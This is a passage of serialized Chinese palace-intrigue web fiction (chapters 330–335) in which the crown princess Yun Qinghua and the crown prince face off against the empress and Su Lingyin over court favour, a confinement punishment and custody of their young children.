皇上也象征性地赐了些苏灵音补品。 这让苏灵音在东宫的地位高涨,巴结她的夫人比比皆是。 除此之外,许多国事皇上也跟裴玉珠商议,听取她的意见。 朝中有言官看不过去,上朝时指责裴玉珠干政,牵着陛下鼻子走,长公主的权利简直快要盖过太子。 皇上直接将那人革职,关进诏狱。 …… 每月十五,按照规矩,太子妃跟太子要给皇后请安。 清早,云清婳跟裴墨染便抱着孩子在翊坤宫外等候。 二人对视一眼,心照不宣。 今日准没好事,皇后一朝得势,定会借机发难。 苏灵音、裴云澈也来了。 看到裴云澈,裴墨染扬起一抹讥讽的笑,“真没想到贤王如此狠心,居然不救从小对你疼爱有加的皇后。” 裴云澈只觉得他无比幼稚,眼珠子一斜,不耐地睨着他,“彼此彼此。” “本宫跟你可不一样,本宫没有得到过皇后的关爱,你却不同。”裴墨染坦然说道。 裴云澈挤出标志性的假笑,“亲儿子都不救,本王怎能越俎代庖。” “貌似你才更像亲儿子吧?” 裴云澈故意膈应他,“太子一定要斤斤计较吗?你身体流着一半苏家的血,这是不争的事实。” 二人相互调侃、攻讦,把云清婳吵得耳朵疼。 “闭嘴!”她道。 两个男人瞬间噤声。 辞忧、承基也捂住了小嘴巴。 苏灵音又惊讶又恼火。 这两个蠢货,被云清婳耍得团团转,还这么乖顺听她的话。 辰时,翊坤宫的门终于被打开。 几人到了大厅。 被禁足多日,皇后清瘦了一圈。 但她花了一个时辰,化了精致繁复的妆容,穿着最雍容华贵的凤袍,刺绣的金丝线亮得晃眼,气势逼人。 “见过母后,母后万福金安。”众人异口同声。 看着裴墨染、裴云澈,皇后的眼中出现了痛惜、失望以及淡淡的幽怨。 她的目光又挪到了云清婳的脸上,眼神怨毒。 “真是本宫的好儿子啊,本宫当初求你们替本宫求情,一个二个都推三阻四。没想到本宫还能活着出来吧?”她讽刺。 裴云澈蹙眉,他毫无愧色,“父皇对母后不满,儿臣求情有用吗?母后为何不替儿臣想想?您的心中只有自己。” 皇后的心酸胀苦涩。 这就是她疼爱了二十多年的好儿子! 居然反过来指责她。 “云澈,你怎么能这么跟母后说话?母后这么多年,哪一点对不住你?母后被禁足后,你可有关心过一次?”她哽咽道。 “母后被禁足时可关心过儿臣?你知道儿臣这些日子过得有多苦吗?母后只想着自己,从儿臣进门到现在,你可有关心过儿臣一句?”他反客为主。 裴墨染听得一愣一愣的。 他由衷地佩服裴云澈的自私。 他究竟是如何理直气壮、理所当然地反过来指责皇后的? 云清婳无比平静。 因为她跟裴云澈是一类人。 皇后的眼睛发热,她揩去眼泪,“墨染,更让本宫失望的是你!” 云清婳在心中暗骂:颠婆。 见裴云澈不好欺负,所以开始找裴墨染的茬儿。 “本宫怀胎十月生下了你,可你身为太子,却连帮母后求情都不肯!早知如此,本宫就不该生下你!”皇后的眼泪决堤般,汩汩地往外流。 苏灵音都替皇后着急。 这本是团圆和好的最佳时日,可皇后却在不停地发牢骚。 裴墨染的脸色早就萦绕着戾气,变得无比森冷阴沉,他冷声道:“你生本宫,本宫同意了吗?本宫宁愿是宸妃的儿子!” 这话搁在现代都能称得上大逆不道。 在古代的杀伤力可想而知。 简直违背天理人伦。 光是传出去就足以被吐沫星子淹死。 皇后的眼眸瞪得硕大,她难以置信道:“你、你说什么?” 云清婳扯了扯裴墨染的袖子,她递给他一个眼神:不是说好了要隐忍,要让着苏家吗? 裴墨染:被裴云澈带偏了,我忘了! 云清婳:你怂一点! “……”裴墨染抿唇不语。 裴云澈不耐道:“母后若是想教训儿臣,儿臣就告退了。” “你不准走!”皇后猛地拍响茶几,上面的茶盏为之一颤。 裴云澈转身就走,嫌恶不已。 “云澈,你不准走!”皇后的声音尖锐刺耳。 裴云澈连头都没有回,身影消失在门口。 皇后气得胸口剧烈起伏,她凹陷的脸颊配上狰狞的表情,衬得她像是女鬼。 本小章还未完,请点击下一页继续阅读后面精彩内容!“呜呜……”辞忧、承基被吓得嚎啕大哭,“怕怕……” 裴墨染心疼地抱着孩子哄,“不怕,爹娘在呢。” “坏人!欺负爹爹!”辞忧粉雕玉琢的包子脸涨得通红,他指着上首的皇后。 承基撇撇嘴,“我要让皇爷爷砍你脑袋。” 众人:!!! 皇后气得一只眼睛大,一只眼睛小,面相更丑陋了。 她歇斯底里的咆哮:“没规矩的东西!这都是云清婳教的吧!好啊,一个两个倒反天罡,枉顾人伦孝道!云清婳,原来你想砍本宫的脑袋!” 云清婳震惊的裴墨染对视,二人差点笑喷。 裴墨染紧抿着唇才抑制住上翘的嘴角。 平日没白疼两个孩子。 云清婳虽然生气,可没有忘记捧杀。 她垂着脑袋,“母后明鉴,这不是儿臣教的,孩子不懂事,乱说话呢。” “是啊,三岁孩子懂什么?太子妃要以身作则,当好孩子的表率,莫要在孩子面前胡言乱语啊。”苏灵音阴阳怪气。 言下之意便是,这都是云清婳教的。 “真的与臣妾无关……”云清婳的脸上映出几分柔弱。 皇后扯出一抹蔑笑,“真是难得,能看见你云清婳低头!如今苏家重获圣宠,又有长公主撑腰,所以你怕了是不是?” 长公主之前在朝中就颇有威望,她此次回京,又有圣宠加持,一时之间她的地位空前高涨,变得炙手可热。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第331章 让皇爷爷砍你脑袋 “儿臣无愧于心,儿臣敢对天发誓。”云清婳竖起三根手指。 “好一个无愧于心!”皇后阴森森地冷笑,“方才的话本宫定会说给陛下听,让陛下评评理!” 云清婳的瞳孔地震,似小白花般挤出两滴眼泪,看起来楚楚可怜。 皇后、苏灵音很享受她惊恐的表情。 “墨染,你说假如你姑姑知道此事,还会同意让承基做皇太孙吗?”皇后的尾音上扬,似乎陡然掌控了一切。 裴墨染冷眼看着皇后。 愚蠢的苏家人。 一朝得势便分不清大小王了,居然可笑到用皇太孙拿捏他。 他们真以为皇上是颟顸糊涂的昏君,还是把他当做懦弱无能的太子? 他替皇后感到可悲,因为她从未了解过自己的丈夫,更从未看清自己的儿子。 苏灵音负责唱红脸,她柔声道:“姑母,皇太孙之位岂是说变就能变的?” “灵音,你就是太善良了,你刚才没听见承基要砍本宫的脑袋吗?这种逆子上位,本宫还有命活吗?”皇后咬牙切齿,像是恨不得化身为犬,扑上去咬孩子一口。 云清婳的身躯摇摇欲坠,扑通一声跪在地上,“母后,孩子的胡话不可当真啊!这只是家事,何必闹大?” “既然是家事,你管教不好孩子,自有长辈来管!正所谓三岁看老,这孩子已经没救了,灵音的孩子尚在腹中,只要好生教养,他更适合作大昭的皇太孙!”皇后的脸上挂着骄傲。 苏灵音顿感扬眉吐气,她慈爱地抚摸着隆起的肚皮。 “母后,求您三思啊,承基是您嫡亲的长孙啊……”云清婳带着哭腔。 裴墨染扶云清婳起身,他心疼道:“蛮蛮,何必求她?立储难道能由她说了算?我们走!” 他强势地牵着云清婳的手,转身就走。 承基、辞忧跟在爹娘身后,出门前,二人回过头冲皇后做鬼脸。 皇后简直被气得七窍生烟、气血逆流,头疾都犯了,“反了反了,一帮没教养的东西!好啊,墨染,希望你能一直这般有骨气。” “本宫哪里对不起这两个小家伙?本宫可是他们的祖母啊,他们怎能这样对本宫?都怪云清婳,她毁了本宫的孙儿啊!”说着,皇后流下了眼泪。 苏灵音走上前,轻轻拍扶着皇后的背脊,她安慰了皇后一会儿。 待皇后平复了心绪,她才见缝插针地劝道:“姑母,您方才太过疾言厉色,还用皇太孙威胁殿下,也难怪殿下发作。您还是隐忍一些吧,将来,您还是要依靠殿下的。” 皇后的脸上闪过嘲弄,她高深莫测道:“灵音,皇上快不行了。” 这话如同一块巨石砸进了平静的水面,激起了激烈的水花。 苏灵音的眼睛瞪得跟铜铃似的,“怎么会?上次见,皇上还中气十足,红光满面……” 皇后冷哼,“全靠朱砂吊着。本宫侍候他吃药时,他不停地咳血,身子蜷缩,血呕了一地,差点下不来床!” 说着这里,皇后的神色复杂,脸上既有报复般的快意也有些许不忍。 “你还年轻,所以不懂!人快死了,都会念旧,皇上知道自己时日无多,又不放心墨染,所以让亲姐姐回京监国。将来,墨染还不是被长公主压一头?依靠他,不如依靠长公主!”皇后的眼底透着精明。 苏灵音的心跳加速,她莫名感到不安。 皇后的推测虽然有几分道理,但这件事却处处透着诡异。 “姑母,皇上不是对长公主多有忌惮吗?怎会突然间态度好转?甚至让她干政?”苏灵音反问。 皇后茫然地眨眨眼,“毕竟是亲姐弟,人之将死,还有什么恩怨放不下?再说了,事实就摆在眼前,本宫能解禁,全靠长公主美言。陛下如今糊涂了,长公主说什么是什么。” 苏灵音将信将疑地颔首,心中蒙上了一层不满。 若是如此,将来裴墨染登基也是傀儡皇帝。 裴玉珠这样野心勃勃的女人,不可能本本分分地辅弼裴墨染。 不过幸好,裴墨染身边有她。 她会帮裴墨染跟他们的儿子把权力夺回来! …… 回东宫后,裴墨染气得踹翻了庭院的石凳。椅 他通身戾气外泄,透着生人勿近的气场,手臂上的青筋鼓起,视线锋利,目之所及,像要把人一剑封喉。 婢女太监瑟瑟缩缩跪了满院。 云清婳递出一个眼神,让奶娘将孩子抱走。 她走上前,小手抚上裴墨染的背脊,为他顺气。 “她尽管伤害我,可她怎能这样对孩子?承基才三岁啊,她凭什么说承基没用?凭什么骂孩子没教养?”裴墨染的双目赤红。 云清婳从他身后抱着他的腰,轻声道:“只要面对皇后,夫君总是这般冲动,她轻而易举就能挑动你的情绪。” “难道你不生气?”他没好气地反问,声音都拔高了几分。 云清婳的肩膀轻颤,像是遇见猛兽的小白兔,一对圆润的杏眼泛红。 裴墨染意识到自己的失控,他连忙抱着她,“我错了,我错了…….蛮蛮,我不是对你发脾气,吓到没有?” 她摇摇头,“夫君,忍忍吧。待制服长公主,皇后跟苏家必会遭殃。只是那时,希望夫君不会心软。” “她有什么值得我心软?皇后方才鼻孔朝天,大昭的江山好像都快成为她的囊中物了!那副嘴脸,令人发指!”他的胸膛剧烈起伏。 云清婳踮起脚,在他的唇上亲了下。 温软的触感蜻蜓点水般从他的唇瓣移开。 他后知后觉,心脏酥麻。 云清婳温声道:“夫君,何必为了皇后动怒?要成大事,总会做出牺牲,我跟孩子都是站在你这边的。” 他的渐渐平复了心情,翻滚的怒火被她的满腔柔情浇熄。 这一次,他不再只是孤身一人。 裴墨染俯首,他的额贴着她的,“蛮蛮,还好有你。” 她操着严肃的口吻:“夫君,你别忘了教训两个小家伙!” “嗯?”裴墨染眼神疑惑。 “虽然皇后的确可恨,可承基实在嚣张,怎么喊打喊杀的?”云清婳其实不觉得承基有错。 甚至心里暗爽。 但表面功夫还是要做的! 承基小小年纪,就会让皇上砍人脑袋,颇有恃宠而骄,骄纵暴戾的偏好了。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第332章 堂堂太子被罚站! 裴墨染未置可否,明显有些舍不得。 他期期艾艾道:“孩子这不是心疼我吗?我还不知好歹地斥责他们?这不太好吧?” “孩子在外面本就受了委屈,咱们当爹娘的回家后还训诫,你不心疼啊?” 云清婳看到他这副不值钱的模样就想笑。 她捧着他的脸,嗔怪道:“慈父多败儿!到时候皇后将承基的话传出去,众人只会怪罪我教子无方!” 他的脸蓦地沉下去,“这与我们何干?都是父皇教的!谁敢怪蛮蛮,我就割了他的舌头。” 她鄙夷地睨着他,明显不信,“你不管,我管。” 云清婳命人将孩子带去寝殿。 她跟裴墨染分别坐在上首。 辞忧、承基甩着小肉腿跑来了。 两个粉雕玉琢的小奶包一双滴溜溜的葡萄眼水汪汪的,一脸天真,手里捏着芙蓉糕。 云清婳面无表情,定定地看着承基。 承基似有所感,怯怯地把咬了一口的芙蓉糕举起来,他奶声奶气道:“娘亲吃。” 辞忧见状,一口将剩下半个芙蓉糕塞进小嘴里,腮帮子鼓鼓囊囊,像是生怕糕点被抢。 “娘亲不吃。”云清婳的声音干巴巴的,不像以往的温柔。 孩子是最敏锐的,总能第一时间察觉父母的情绪好坏。 承基瘪瘪嘴,眼泪说来就来,“呜呜……” 泪珠啪嗒啪嗒往下坠。 辞忧也红了眼,鼻尖泛红,眼中蓄满了泪水。 裴墨染心疼坏了。 他伸出双手想要抱辞忧。 “嗯?” 云清婳一个眼刀飞过去。 裴墨染立即缩回手。 她低声道:“不许护着!我们的态度统一,孩子才会知错。” “……”裴墨染忙不迭颔首,讪讪如鹌鹑。 “承基,日后不能随便说让皇爷爷砍人脑袋这种话,这不礼貌。”云清婳的语气严厉。 她不希望承基将来落人口实,变成臣子眼中的纨绔。 承基泪眼婆娑地扑进云清婳的怀里,“娘亲,对不起呜呜呜……” 他抽抽噎噎地哭着。 “……”云清婳始料未及,一时之间愣住了。 为什么一股熟悉感扑面而来? 承基太会示弱装乖了,跟她小时候如出一辙。 辞忧的小手指绕着圈圈,就好像没事人。 云清婳瞥向她,虎着脸道:“辞忧,日后不许用手指指着长辈,这也不礼貌。” “可是,皇爷爷就这样。”辞忧的脸蛋变红,也呜咽地哭出了声。 “蛮蛮,我早就说了,孩子都是被皇上教坏的。”裴墨染心疼地给辞忧擦眼泪,“这能怪孩子吗?” 云清婳在他腰上拧了一把,示意他闭嘴。 她耐心地解释,“因为皇爷爷是长辈,你是晚辈啊,只有长辈才可以这样。日后不可以了。” 辞忧撇撇嘴,一脸的不服气,“可是皇奶奶欺负爹爹,她就是坏人!” 承基见缝插针道:“我心疼爹爹~” 他话中的茶味飘香。 裴墨染一脸感动,眼神晶亮地看着两个孩子。 一旁的王显、飞霜感动不已。 云清婳想要翻白眼。 两个小家伙不愧是她生的,太会了! 一句话就把裴墨染钓成翘嘴。 “蛮蛮,孩子也是心疼我。”裴墨染握着她的手,晃了晃她的胳膊,“行了,别吓唬他们了。” “你给他们求情是吧?”云清婳反问。 裴墨染的气势瞬间弱了几分。 “爹爹……”辞忧、承基求救般看着他,就好像他是大英雄。 裴墨染面色微滞,一时竟有些进退两难。 一边是蛮蛮,另一边是孩子。 可在孩子面前,他怎能退缩? 他缓缓点头,声如蚊讷:“嗯。” “好,那你替他们罚站吧。”云清婳指着墙角。 裴墨染:??? 他一脸震惊。 他可是她的夫君,可是大昭的太子! “爹爹,求你了……” “求你了……” 承基、辞忧一边一个抱住裴墨染的腿。 裴墨染受不住孩子的攻势,稀里糊涂地去站了墙角。 他总感觉哪里不对,但是说不出来。 云清婳本就不觉得孩子有错,所以她点到为止。 “花生酥做好了,去洗洗手吃糕点吧。”云清婳捏捏他们的脸蛋。 “好!”两个小奶包破涕为笑,似乎方才的批评从未发生,又欢喜地窜进云清婳的怀里。 “娘亲最好咯!” “辞忧最喜欢娘亲!” 站在墙角的裴墨染:??? 那他算什么? 他代他们罚站算什么? 裴墨染像个阴湿男鬼,回过头忧郁的盯着母子三人。 云清婳看着两个孩子,心中感到欣慰。 跟其他人完全不同,这两个孩子天然跟她最亲。 哪怕她并未对他们过多花心思。 …… 翌日,皇上便召裴墨染、云清婳跟承基、辞忧面圣。 御书房外,宫女、太监噤若寒蝉,面色惨白,跪了一地。 本小章还未完,请点击下一页继续阅读后面精彩内容!箬竹苦着脸,看到云清婳时,她发出冗长的叹息。 “太子、太子妃请吧。”御前太监在推门的前一刻,压低声音说,“方才长公主跟皇后来了,说是因为皇太孙不敬的事,添油加醋说了一番。” 云清婳沉重的颔首。 一进御书房,承基、辞忧就轻车熟路地跑到上首。 “皇爷爷……” 二人争先恐后地扑进皇上的怀里。 皇上笑着挨个将他们抱起来,眼底的喜爱显而易见,“诶呦,几日没见,你们好像又长高了!” “嘿嘿……” 云清婳主动跪下,她的声音颤抖,“儿臣有罪,皇太孙失言,是儿臣没有教养到位,请父皇恕罪。” 皇上放下孩子,他的脸色转冷,负手而立,“你何罪之有?承基、辞忧本就没错!朕的孙儿就该如此霸道、果决!这样的脾性,才配做朕的皇太孙!” 说着,皇上露出骄傲的神色,看孩子的眼神愈发满意了。 裴墨染跟云清婳对视,四眼迷茫。 这样教养孩子对吗? 他们也是第一次当父母,真的懵了。 皇上话锋一转,“但为了顾全大局,只能委屈太子妃了,朕会罚你禁足半月。” “多谢父皇垂怜。”云清婳叩首。 皇上摆摆手,示意她起身。 “咳咳咳……” 一阵浑浊咳音传来,仿佛牵连了五脏六腑。 皇上颤颤地坐下,才几日,他便满头花白,他背脊佝偻得如虾子,眼珠浑浊泛黄,癯瘦的肩膀都快撑不起龙袍。 他用帕子捂着嘴猛咳,手背上只剩一层薄薄的皮,里面青筋、骨头根根暴起,清晰可见。 一股腥甜的铁锈气在空中弥漫。 看着威严狠厉的皇上被病痛折磨得形销骨立,云清婳突然想到壮士暮年这个词。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第333章 下次见面,是何时? 血浸透了帕子,裴墨染连忙端水,上前伺候他净手。 皇上的声音嘶哑,“演好一些,莫要露出破绽。” “是。”裴墨染例行公事般唯唯诺诺的应声。 临走前,辞忧、承基依依不舍的抱着皇上的腿。 “皇爷爷,咱们下次什么时候见面啊?”承基仰着小脑袋,“您好久都没看我啦。” 皇上的眸中似有细碎的水光轻颤,喉间蓦地像被一团棉花堵住,他张了张嘴,竟发不出半点声响。“……” 辞忧大方地从小兜里拿出一块花生酥递给皇上,“我四岁的时候,皇爷爷要送我好大好大的风筝,皇爷爷不许骗人。” 皇上的脸上短暂地出现了脆弱、感动,他红了眼眶,“好。” “拉钩钩。”辞忧伸出手。 皇上宠溺地伸出小拇指,跟她拉钩,他不动声色的用衣袍拂过眼角。 云清婳见状,也挤出几滴眼泪。 “太子妃,护好孩子。”皇上交代道。 云清婳福福身,“儿臣定不负圣上嘱托。” …… 离开御书房后,裴墨染发出冗长的叹息。 云清婳握住他的手,“夫君在担心父皇?” “我是在心疼孩子。”裴墨染压低声音,“我怕将来父皇不在了,承基跟辞忧会伤心。” 她一愣,她望着裴墨染,忽然觉得狗男人难得说了句好话。 “蛮蛮,相信我,你今日所受的委屈,苏家欠你的,我必会让他们加倍奉还!”裴墨染信誓旦旦的说。 她颔首,“我相信夫君,半个月而已,很快就会过去。” 他看着她的脸,欲言又止,“蛮蛮,我……” “嗯?”云清婳的杏眼闪烁,晶亮的看着他。 裴墨染的心房一颤,他摇摇头,“没什么,禁足后,你要好好保重身子。” 云清婳还来不及疑惑,皇后跟裴玉珠就迎面走来。 二人步履生风,裴玉珠似笑非笑,脸上的情绪却如同雾里看花,让人捉摸不透。 皇后的脸上透着不加掩饰的讥诮,显然是专程前来耀武扬威的。 裴墨染立即让王显将孩子送去上书房。 他不想孩子跟皇后接触。 “见过母后、长公主。”云清婳垂眸,恹恹的福身。 皇后见云清婳眼圈泛红,眼皮红肿,心想她方才定被皇上训斥哭了。 她心底涌起一阵酣畅淋漓的快意,唇角微勾,轻嗤道:“云清婳,你竟也有落得这般田地的时候?当真是天道轮回,报应不爽!” “……”云清婳把头压得更低了。 裴墨染将云清婳护在身后,他冷着脸道:“母后非要落井下石吗?” 皇后恨铁不成钢地剜了他一眼,“落井下石又如何?云家欠苏家的这辈子都换不清,她不过是禁足,不足抵消本宫伤痛的万一!” “蛮蛮,我们走!”裴墨染扶着云清婳。 皇后扯出一抹笑,她故意拔高声音,“长公主,让您见笑了,墨染实在不成器,被一个女人迷了心智。承基口出狂言,其刁蛮暴戾可见一斑,皇太孙若能更换就好了。” 尽管知道皇后不会得逞。 可云清婳的心还是咯噔一响。 裴墨染明显感到她的身子僵硬了一声,他轻拍她的肩膀,“别怕,不会的。” “皇后娘娘说笑了,皇太孙哪是说换就换的?太子妃是京城第一贵女,我觉得不错。”裴玉珠眯着眼,笑吟吟盯着云清婳的背影。 皇后心头像被箍住,一丝难以掩饰的紧张悄然爬上眉梢。 倘若长公主倒戈云家就不好了。 “长公主才回京,有许多事恐怕您还不知道!本宫这里有许多云清婳的密辛,等您知道,恐怕会大吃一惊。”皇后道。 这正合了裴玉珠的心意,她微微颔首,眸中闪过一抹期待,“皇后口中的秘密,我很期待。” …… 云清婳一回东宫,箬竹便来了。 她亲自给玄音阁落了锁,并颁布旨意,除了送膳食的婢女,其余人皆不可与玄音阁接触。 皇上以教养不力的罪名,将太子妃禁足,以作警告。 这相当于狠狠打了云清婳以及云家的脸。 苏家扬眉吐气,在云家人面前耀武扬威。 一时之间,东宫中苏灵音风头正盛,炙手可热。 东宫的有些下人见风使舵,忙不迭转而巴结苏灵音。 不少夫人都同情云清婳,暗暗为她打抱不平。 魏娴、陈如燕等人甚至冒着抗旨的风险,在夜里偷偷送了糕点进来。 …… 一眨眼,快过了半个月。 槐树下的贵妃榻上,云清婳正阖着双眼悠闲惬意的躺着。 飞霜黑着脸,愤愤端来饭菜。 劝盘上放着一碗粒粒散开的米饭,米饭呈现出淡黄色,气味已经酸了。 另一盘是清蒸鲫鱼。 但鱼肉早就面目全非,明显是被人吃剩下的,鱼肚皮上坑坑洼洼,全是筷子戳过的痕迹,腥臭味扑面而来。 “主子,厨房送来的又是馊了的剩饭!听说是苏灵音授意的,这个贱人每日鱼翅燕窝,却这么羞辱您!”飞霜怒目圆睁,她抬手就要把碗给砸了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!云清婳赶忙拦住她,“别砸!” “都馊了,闻着就倒胃口。”飞霜气红了眼。 她跟了主子这么多年,她们何曾受过这种委屈? 就算是丞相府里最低等的下人,也有一菜一汤吃? 哪像现在? 简直连狗都不如。 “砸了岂不是正合苏灵音的心意?她就想看我们崩溃、恼怒呢,我们悠闲、惬意,她反而会恼火。”云清婳不甚在意,她拍了拍身边的位置。 这些日子,苏灵音对她的磋磨羞辱,裴墨染都知道,所以他派了乾风翻墙给她们送膳食。 而且,这是个看清人心的好机会。 正所谓路遥知马力日久见人心。 她落魄时,还对她不离不弃的人,才配留在她身边。 那些趁此机会落井下石的小人,她一个都不会留,定要全部清扫干净。 飞霜红着眼坐下,她攥着贵妃榻的边缘,“主子,奴婢就是咽不下这口气!” “何必跟一个将死之人计较?”云清婳的嘴角勾起妖媚的弧度,眼底满是兴奋。 算着日子,不足十天,苏灵音就要临盆了吧? 很快,苏灵音就会血崩、难产! 奸夫的秘密,也会被抖落出来! 苏家会彻底颜面扫地! 飞霜的脸色稍霁,“也不知道殿下去哪儿了,主子受了这么大罪,他明明就在东宫,却连面都不见。听说他还常去看望苏灵音呢。” “我早就习惯了。他总是这样,我需要他的时候,他永远不在身边。”云清婳的眸子更是沉寂如渊,不见半分波澜。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第334章 皇后要抢走孩子? 飞霜无奈地摇摇头。 是啊…… 也难怪殿下得不到主子的心。 “小飞霜,别难过了,今天是已经十四天了,明日咱们就能出去了。”她轻拍飞霜的肩膀。 飞霜瞬间打起了精神。 她露出被禁足以来的第一个笑脸,她叉着腰,“是啊!明日咱们就让苏灵音认清大小王!她真把自己当太子妃了?” 正说着,大门传来叮铃哐啷的声音。 门上的锁被下了。 云清婳利落地自贵妃榻上翻身而下,双眸微睁,眼中闪过一丝意外之色。 “门怎么提前开了?皇上于心不忍,恩准主子出门了?”飞霜的心头一阵狂喜涌动,几乎要忍不住纵身跃起。 云清婳心中疑惑。 难道这么快就事成了?! 长公主被俘? 皇上跟裴墨染赢了?! 朱红的大门被推开,迎面而入的是皇后跟大腹便便的苏灵音。 二人款款走来,昂首挺胸,周身萦绕着咄咄逼人的气势,眼底闪烁着不加掩饰的得意。 皇后拘着手,上位者的姿态勃然而发。 她跟苏灵音上下打量着云清婳,试图从她的身上找到落魄、凄惨的痕迹。 可云清婳虽然身着素面衣裙,未施粉黛,发髻半绾,却面色红润,有种出水芙蓉般清新的美感。 这让苏灵音嫉妒地咬紧了牙。 “今日还没解禁,怎么下锁了?”云清婳疑惑地问。 “呵……”苏灵音冷笑,“太子妃千万不要误会,圣命难违,禁足的期限绝不会少半刻。只是太子妃被困于此,难免疏于教养皇孙,所以皇后娘娘好心,打算帮您养育皇孙。” 话音刚落,门口,金嬷嬷牵着承基、辞忧现身。 两个孩子呜呜咽咽地哭着,“放开我!放开我!” “你们大胆!不许碰我!” 他们拼命挣扎。 云清婳的眼瞳瞬间紧缩。 皇后很满意她惊愕的表情,操着善解人意道的口吻道:“我们来此,就是为了知会你一声,毕竟你是孩子的生母。” 换言之,她在故意挑逗她,就像猫捉耗子,想要看猎物恐惧、崩溃的模样。 苏灵音的眼底跳动着兴奋,掩面笑道:“皇后娘娘帮你教养孩子,太子妃还不谢恩?” “娘亲……” 两个孩子牟足了浑身的力气挣扎,毕竟是皇太孙跟郡主,金嬷嬷也不敢对他们使劲。 很快,两个孩子就挣脱了金嬷嬷,朝云清婳跑去,扑到她的腿上大哭,脸涨成了红包子。 “呜呜呜……我们要跟娘亲在一起!” “我不要,不要跟皇奶奶住!” 云清婳看着嚎啕大哭的孩子,心里像是有根细绳被猛地扯出来,割得她心脏沥血。 她将孩子护在身后,眸色沉沉,露出超然的冷静,“皇后娘娘,陛下跟殿下可答应了?” 皇后的眼风一凛,斩钉截铁道:“本宫是当朝皇后,是你的婆母,如今圣体违和,教养孙儿这种小事岂用叨扰陛下?” “太子妃快把孩子交出来吧,你一个囚禁之人,戴罪之身,怎能跟皇孙共处?小心罪加一等!”苏灵音瞥了眼后面太监。 几个太监颤颤巍巍,犹豫着不敢上前。 毕竟两边都是身份顶顶金贵的贵人,都不敢得罪。 云清婳算是看明白了,她们是在故意恶心她。 所以故意选在解禁的前一天,将孩子从她身边夺走。 “谁敢?”云清婳怒喝,“没有陛下跟殿下的口谕,谁都休想将孩子从我身边夺走!” 皇后发出酣畅的笑,“呵呵……云清婳,你也知道害怕啊!一个罪人还这般嚣张!来人,给本宫狠狠教训她!” 几个侍卫大步流星走来。 云清婳认得出来,这是苏家的侍卫。 明摆着是苏家过来报仇了! “谁敢!这可是当朝太子妃!”飞霜张开双臂护在云清婳身前。 魏娴、陈如燕也走进玄音阁,护在云清婳身前。 可这些侍卫丝毫不惧,有皇后撑腰,这些女人在他们眼里如同纸片,一撕就碎。 魏娴神色镇定,全然没有半分怯意,她高声道:“就算太子妃是戴罪之身,可太子是储君,皇太孙是小储君,你们以下犯上,有几个脑袋够砍?孰轻孰重你们自己掂量掂量!” 侍卫的步伐一顿,面面相觑,踌躇不前。 陈如燕出生武将世家,她一伸手就擒拿住为首的侍卫。 侍卫发出痛苦的哀嚎。 陈如燕斥道:“太子妃是皇上的儿媳,没有皇上的旨意,谁敢冒犯太子妃?” 皇后的眼角都在抽搐,她的手缓缓捏紧,“放肆!你们算什么东西?妖言惑众!把她们统统拿下!” 可所有的太监、宫女、侍卫都垂下脑袋,不敢吱声。 “快去啊!耳朵聋了?”皇后的声音尖锐,好像要刺穿耳膜。 可仍旧没人敢动。 皇后脸上的肌肉都在颤抖,气得心绞痛,“反了!你们都反了!” 云清婳走上前,黛眉一沉,没有感情道:“皇后娘娘,请回吧!没有皇上跟殿下的口谕,我绝不会交出承基跟辞忧!” 苏灵音捏着帕子,假惺惺道:“诶呀,太子妃怎么急了?皇后娘娘是皇孙的亲祖母,还能害皇孙不成?您究竟在担心什么啊?” “我小时候被狗咬过,害怕疯狗,你离我远点!”云清婳的嘴角掀起轻蔑。 苏灵音愣了愣,反应过后,气红了眼。“你、你……” 扑哧—— 飞霜、魏娴、陈如燕都笑喷了。 “可不是疯狗?上门来乱叫!” “皇后还未说话,她插什么嘴?” 苏灵音怒不可遏,她再也演不下去,恶狠狠地剜她们。 云清婳寸步不让。 皇后当然不敢让承基、辞忧有性命之忧,但为了让苏灵音的孩子上位,她说不定会制造意外把承基、辞忧吓得痴傻,或者让他们耳聋、眼瞎、断腿…… 让承基彻底丧失继位的资格! 皇后微微眯起双眸,隐约透出凌厉锋芒,“真是不见棺材不落泪!好啊,你问问墨染。” 她往旁边一闪,门口骤然出现裴墨染的身影。 他的脸上像是笼罩着一层阴沉的暮霭,让人看不清明。 原来他早就来了,却从头到尾站在门外,保持沉默,神秘隐身。 第335章 太后帮忙打脸 “夫君……”云清婳的眼泪瞬间决堤,像是乳燕投林,委屈找到了发泄口,“夫君,孩子不能进宫!” “爹爹!”两个孩子异口同声叫道。 皇后瞥向裴墨染,胜券在握道:“墨染,你犹豫什么呢?只要你答应,你姑姑便会劝你父皇将兵权还你!” 裴墨染垂下脑袋,像是不敢面对云清婳。 云清婳的心扑通扑通剧烈跳动,一种强烈的不安感在心中扩散,“夫君……” 狗男人疯了吗? 演戏可以,但不能用孩子为诱饵啊! 这跟送羊入虎口有什么区别? 裴墨染的肩膀塌下,看上去有几分颓丧。 他似乎难以启齿,半晌从牙缝里挤出一句话,“蛮蛮……母后是皇子的祖母,不会有事的。我跟母后说好了,几个月而已,过几个月母后就把孩子送回来。” 云清婳眼中闪过震惊,双臂颤抖起来,“裴墨染,你说什么?你疯了吗?” 别说云清婳,就连魏娴、陈如燕都傻眼了。 殿下疯了吗? 他平日可是最宠皇孙的! 云清婳不管不顾地朝裴墨染跑去,还有三步之遥时,王显、乾风将她拦住。 二人像被一条楚河汉界隔开。 裴墨染微微侧过身,面向别处,只留给她一道清冷疏离的侧影,眉目间凝着化不开的淡漠。 若说这次对裴墨染不失望,是不可能的。 为何每次都在她愿意信任他的时候,他总能整出幺蛾子! 每一次他权衡利弊时,她都不在他的考量内?! “夫君……”云清婳崩溃地哭了,单薄的身躯颤抖。 她歇斯底里,扯着嗓子哭喊:“裴墨染,你清醒一点!你有想过后果吗?爹娘不在身边,你知道孩子会遭遇什么吗?承基跟辞忧才三岁啊!” 皇后、苏灵音两张相似的面容露出如出一辙的轻蔑,嘲讽。 “怎么样?满意了吗?夫为妻纲,太子已然把孩子交给本宫,你还狂吠什么?”皇后的鼻腔发出很轻的嘁声。 